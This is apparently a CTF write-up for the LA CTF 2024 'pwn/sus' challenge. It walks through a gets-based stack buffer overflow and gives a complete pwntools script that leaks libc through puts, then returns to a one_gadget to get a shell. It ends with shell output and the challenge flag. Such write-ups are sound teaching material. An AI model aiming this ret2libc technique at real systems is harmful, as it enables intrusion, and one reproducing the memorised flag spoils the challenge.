--- title: 'LA CTF 2024: pwn/sus' date: 2024-02-21 tags: ['ctf', 'ctf-pwn'] --- ## Task > **pwn/sus** > > sus > > `nc chall.lac.tf 31284` > > [`Dockerfile`](https://chall-files.lac.tf/uploads/369b026196c1309b89ebc31c144b1bfc8ecbd68087b9a7b3063194052d72fa3c/Dockerfile) [`sus`](https://chall-files.lac.tf/uploads/ccb557649d2e9797ab84f9b3b09d2022e85dfeef539fb29250c48e60e2b46653/sus) [`sus.c`](https://chall-files.lac.tf/uploads/138c007539a2766597bcca846c09f53f25a6f2bb2c85ecc1442b0d4c21c46cba/sus.c) - `Author: kaiphait` - `Points: 426` - `Solves: 136 / 1074 (12.663%)` ## Writeup The challenge is a very short program that reads our input and returns: ```c #include void sus(long s) {} int main(void) { setbuf(stdout, NULL); long u = 69; puts("sus?"); char buf[42]; gets(buf); sus(u); } ``` We see that the program uses `gets`, so we can perform a buffer overflow. Running the program with `gdb`, we can see that `main`'s stack frame is as follows: ``` rbp - 0x40 | char buf[42] ... rbp - 0x08 | long u rbp | saved rbp rbp + 0x08 | saved rip ``` To exploit the buffer overflow, we will overwrite the saved return address at `rbp + 0x08` to an address in `libc` that runs `/bin/sh`. But first, we need to leak `libc`'s address. Since `u` is passed as an argument to `sus`, we can control the value of `rdi` when `main` returns, letting us control the first argument of the function we return to. We can overwrite the saved `rip` to return to `puts` and overwrite `u` to the address of the GOT entry of `puts`. This will cause the program to print out the address of `puts` after we return. Then we can write the address of `main` to `rbp + 0x10` to rerun `main` after the call to `puts`, allowing us to send more input once we determine the address of `libc`. So far, our script looks like this: ```py from pwn import context, remote, ELF, flat, u64 context.arch = 'x86-64' p = remote('chall.lac.tf', 31284) e = ELF('/tmp/sus') libc = ELF('/tmp/libc.so.6') p.sendline(flat( # padding (buf) [0] * 7, # overwrite u (for rdi) e.got['puts'], # padding (rbp) 0, # overwrite rip e.plt['puts'], # return back to main after leaking address of puts e.symbols['main'] )) p.recvuntil(b'sus?\n') puts_addr = u64(p.recvuntil(b'\n')[:-1] + b'\x00\x00') libc_addr = puts_addr - libc.symbols['puts'] ``` Now that we know the address of `libc`, we can run `one_gadget` on the version of `libc` the program uses to find a good address to return to: ```console $ one_gadget /tmp/libc.so.6 0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) constraints: address rsp+0x60 is writable rsp & 0xf == 0 rax == NULL || {"sh", rax, r12, NULL} is a valid argv rbx == NULL || (u16)[rbx] == NULL 0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) constraints: address rsp+0x60 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv rbx == NULL || (u16)[rbx] == NULL 0xd509f execve("/bin/sh", rbp-0x40, r13) constraints: address rbp-0x38 is writable rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv [r13] == NULL || r13 == NULL || r13 is a valid envp ``` The best option is the third one, since `r13` points to the original `envp` when we return from `main`, and we have control over the values of `rdi` and `rbp`. To meet the first constraint, there is a writable section in `libc` that we can use for `rbp`, starting at offset `0x1d2000`. Now we can add the following to our script and get a shell: ```py p.sendline(flat( # padding (buf) [0] * 7, # overwrite u (for rdi) 0, # overwrite rbp libc_addr + 0x1d2000 + 10000, # overwrite rip libc_addr + 0xd509f )) p.interactive() ``` Now we run the following commands and get the flag: ```console $ python sus.py [+] Opening connection to chall.lac.tf on port 31284: Done [*] '/tmp/sus' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/tmp/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode sus? $ ls flag.txt run $ cat flag.txt lactf{amongsus_aek7d2hqhgj29v21} ```